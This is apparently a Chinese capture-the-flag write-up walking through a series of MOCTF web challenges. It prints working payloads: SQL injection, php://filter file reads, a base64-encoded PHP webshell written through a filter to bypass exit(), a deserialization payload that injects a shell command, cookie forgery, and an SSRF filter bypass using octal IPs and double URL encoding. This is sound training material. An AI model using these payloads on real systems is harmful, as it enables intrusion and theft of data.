一个暴力膜法的平台,我tm被锤爆【跪
一道水题
F12解决
还是水题
F12,改一下长度限制和输入限制即可
访问限制
年轻人不要太暴力hhh
抓包修改user-agent为NAIVE得到flag
机器蛇
叫机器蛇,那应该和robots.txt有关。访问一下给出一个有flag的php,再访问F12获得flag
PHP黑魔法
提示有源码就试试看.php~,F12看到源码
读一下
1 | html lang="zh-CN"> |
md5的绕过
payload: ?a[]=1&b[]=2
我想要钱
审计题,读一下源码
1 | <?php |
长度不能超过4且要大于现在时间
那就直接上科学计数法
payload: ?money=9e99
登录就对了
不知道为什么用-1’or ‘1’=’1不行,admin’#就ok,神奇…
文件包含
F12发现flag.php,直接读不行,那就用php://filter来读
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得flag
暴跳老板
这题有点难受,找了好久才发现http头里有个Dear: MyBoss
于是就
payload: Dear=MyBoss
Flag在哪?
还以为抓包就ok了,每想到要各种跳转,然后跳到最后还是没有flag。于是记录一下url
1 | flag.php |
于是猜测存在frogflag.php,访问得到flag
美味的饼干
看题目应该是cookie
于是抓包发现一串base64,解码后是 ee11cbb19052e40b07aac0ca060c23ee
。再试base64解码发现不对,于是尝试md5解码,解出是user。于是用md5加密admin,再用base64加密,修改cookie提交得到flag
没时间解释了
应该是抓包或者脚本题
点进去发现url是index2.php,改成index.php依旧跳到index2.php。于是访问index.php抓包,发现提示uploadsomething.php
访问一下
然后随便提交点东西
再访问
提示太慢,于是写脚本,但发现一个脚本还是太慢,于是分成两个
1 | import requests |
1 | import requests |
同时运行跑出flag
死亡退出
这题跪了orz
进去就是源码
1 | <?php |
就是把传入的c接在 <?php exit;?>
后,然后写入传入的file的文件中。最后读取tmp.php
想了好久没想出,查wp,发现是用伪协议php://filter做php://filter/write=convert.base64-decode/resource=
这个可以将文件读取再base64解码后写入,而再这题就是接上c的值然后解码写入
但我们知道base64是以4字节接一个码,同时只会解码那些属于base64的字符。在 <?php exit;?>
中只有phpexit是,于是我们要给它加一个字符使得能解码。然后用 <?php system('cat flag.php');?>
的base64加密后的值来读取flag
于是payload:File=php://filter/write=convert.base64-decode/resource=tmp.php&c=kPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
F12查源码得到flag
火眼金睛
脚本题
1 | import requests |
写个脚本搞定
unset
直接给了源码
1 | <?php |
这题一开始没反应到unset的作用,在变量覆盖各种失败后才发现有EXTR_SKIP设置的是不能覆盖已有变量的。于是就想办法把$_GET给unset掉。简单的在cookie中设个_GET变量就能unset掉
payload:
1 | GET:?a=1 |
一开始file那里没反应过来要base64读取,搞了好久没搞定才想起include()要用php://filter。还有GET那里要设个变量,可以试试看输出_GET和Cookie传_GET[]=,两个的值是不一样的orz
最后解码一下就ok了
PUBG
进去试一下没搞到什么,就扫一下后台发现bak文件,下载下来读源码
1 |
|
当pos为school时会对pubg参数进行反序列化
而这个文件只引入了class.php,于是尝试一下class.php.bak,又获得源码
1 | <?php |
读一下,wakeup()这里不知怎么绕开,查了一下知道,但要反序列化的字符串处时属性数量与给的值不一样时,就会导致反序列化失败wakeup()不执行
然后__call()中要当./class$file[0].php存在时才会执行命令php ./class/$method.php
又可以看到下面不存在时有个win.php,于是就可以认为class/win.php是存在的,于是使$method=/win.php|cat class/flag就可以了
payload:O:7:"sheldon":3:{s:3:"bag";s:26:"//win.php|cat ./class/flag";s:6:"weapon";s:3:"AWM";}
               ↑
这里从2改成3以使反序列化失败
网站检测器
一道SSRF的题,看到要和内网搞事就觉得是,但第一次做SSRF不会就查一下
这里利用的是解析URL产生的漏洞。后台会对我们输入的URL进行解析过滤,这时就可能会出现URL解析不当导致绕过过滤。当我们传入 地址1@地址2 ,后台进行URL解析时,会由于第一个地址后的参数为@被过滤掉,只解析第二个地址
于是尝试http://www.moctf.com@127.0.0.1
提示不能有127,那就转进制
先把127.0.0.1转为16进制 7f 00 00 01,然后连起来7f000001转成8进制17700000001,最后在前面加个0就可以了
然后再尝试http://www.moctf.com@017700000001
成功打开了index,那就猜测有flag.php
继续尝试http://www.moctf.com@017700000001/flag.php
提示不能有.,这里猜测在后台调用url时还会再解码一次url,于是尝试双url编码绕过
最后尝试payload:http://www.moctf.com@017700000001/flag%25%32%65php
获得flag